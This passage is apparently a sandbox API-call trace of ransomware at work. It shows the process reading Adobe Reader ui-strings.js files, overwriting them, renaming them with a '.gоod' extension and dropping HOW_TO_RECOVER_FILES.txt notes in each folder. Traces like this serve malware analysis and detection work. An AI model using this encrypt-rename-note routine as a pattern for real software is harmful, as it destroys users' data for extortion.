lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.477] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.477] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.477] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0256.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0256.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0256.477] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0256.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb940) returned 1 [0256.477] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3c9eb40 | out: lpFileInformation=0x3c9eb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x353)) returned 1 [0256.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb900) returned 1 [0256.478] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0256.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0256.478] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0256.478] GetFileType (hFile=0x828) returned 0x1 [0256.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0256.478] GetFileType (hFile=0x828) returned 0x1 [0256.478] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x20beb998 | out: lpFileSizeHigh=0x20beb998*=0x0) returned 0x353 [0256.478] ReadFile (in: hFile=0x828, lpBuffer=0x3c9f260, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20beb8c8, lpOverlapped=0x0 | out: lpBuffer=0x3c9f260*, lpNumberOfBytesRead=0x20beb8c8*=0x353, lpOverlapped=0x0) returned 1 [0256.479] CloseHandle (hObject=0x828) returned 1 [0259.927] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0259.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0259.927] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0259.928] GetFileType (hFile=0x86c) returned 0x1 [0259.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0259.928] GetFileType (hFile=0x86c) returned 0x1 [0259.928] WriteFile (in: hFile=0x86c, lpBuffer=0x395ff68*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x20beb7d8, lpOverlapped=0x0 | out: lpBuffer=0x395ff68*, lpNumberOfBytesWritten=0x20beb7d8*=0x360, lpOverlapped=0x0) returned 1 [0259.928] CloseHandle (hObject=0x86c) returned 1 [0259.928] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0259.928] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x91 [0259.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb900) returned 1 [0259.928] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x20beb9e0 | out: lpFileInformation=0x20beb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9725140f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x360)) returned 1 [0259.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb8c0) returned 1 [0259.928] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\ui-strings.js.gоod")) returned 1 [0259.929] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20beb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0259.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb00) returned 1 [0259.929] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0259.930] GetFileType (hFile=0x86c) returned 0x1 [0259.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba70) returned 1 [0259.930] GetFileType (hFile=0x86c) returned 0x1 [0259.931] WriteFile (in: hFile=0x86c, lpBuffer=0x39638b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20bebbc8, lpOverlapped=0x0 | out: lpBuffer=0x39638b8*, lpNumberOfBytesWritten=0x20bebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0259.931] CloseHandle (hObject=0x86c) returned 1 [0259.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0259.931] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae", lpFilePart=0x0) returned 0x7e [0259.931] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a9e0 [0260.274] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.275] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0260.275] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0260.275] FindClose (in: hFindFile=0x134a9e0 | out: hFindFile=0x134a9e0) returned 1 [0260.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0260.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0260.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0260.275] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae", lpFilePart=0x0) returned 0x7e [0260.275] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0260.275] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.276] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0260.276] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0260.276] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0260.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0260.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0260.276] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0260.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb940) returned 1 [0260.276] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3831578 | out: lpFileInformation=0x3831578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x352)) returned 1 [0260.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb900) returned 1 [0260.276] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0260.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0260.277] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0260.277] GetFileType (hFile=0x86c) returned 0x1 [0260.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0260.277] GetFileType (hFile=0x86c) returned 0x1 [0260.277] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x20beb998 | out: lpFileSizeHigh=0x20beb998*=0x0) returned 0x352 [0260.277] ReadFile (in: hFile=0x86c, lpBuffer=0x3831c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20beb8c8, lpOverlapped=0x0 | out: lpBuffer=0x3831c98*, lpNumberOfBytesRead=0x20beb8c8*=0x352, lpOverlapped=0x0) returned 1 [0260.278] CloseHandle (hObject=0x86c) returned 1 [0260.305] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0260.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0260.305] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0260.306] GetFileType (hFile=0x86c) returned 0x1 [0260.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0260.306] GetFileType (hFile=0x86c) returned 0x1 [0260.306] WriteFile (in: hFile=0x86c, lpBuffer=0x38ac668*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x20beb7d8, lpOverlapped=0x0 | out: lpBuffer=0x38ac668*, lpNumberOfBytesWritten=0x20beb7d8*=0x360, lpOverlapped=0x0) returned 1 [0260.307] CloseHandle (hObject=0x86c) returned 1 [0260.307] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0260.307] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x91 [0260.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb900) returned 1 [0260.307] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x20beb9e0 | out: lpFileInformation=0x20beb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x975e4cf2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x360)) returned 1 [0260.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb8c0) returned 1 [0260.307] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\ui-strings.js.gоod")) returned 1 [0260.308] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20beb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0260.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb00) returned 1 [0260.308] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0260.309] GetFileType (hFile=0x86c) returned 0x1 [0260.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba70) returned 1 [0260.309] GetFileType (hFile=0x86c) returned 0x1 [0260.310] WriteFile (in: hFile=0x86c, lpBuffer=0x38affb8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20bebbc8, lpOverlapped=0x0 | out: lpBuffer=0x38affb8*, lpNumberOfBytesWritten=0x20bebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0260.310] CloseHandle (hObject=0x86c) returned 1 [0260.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0260.310] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 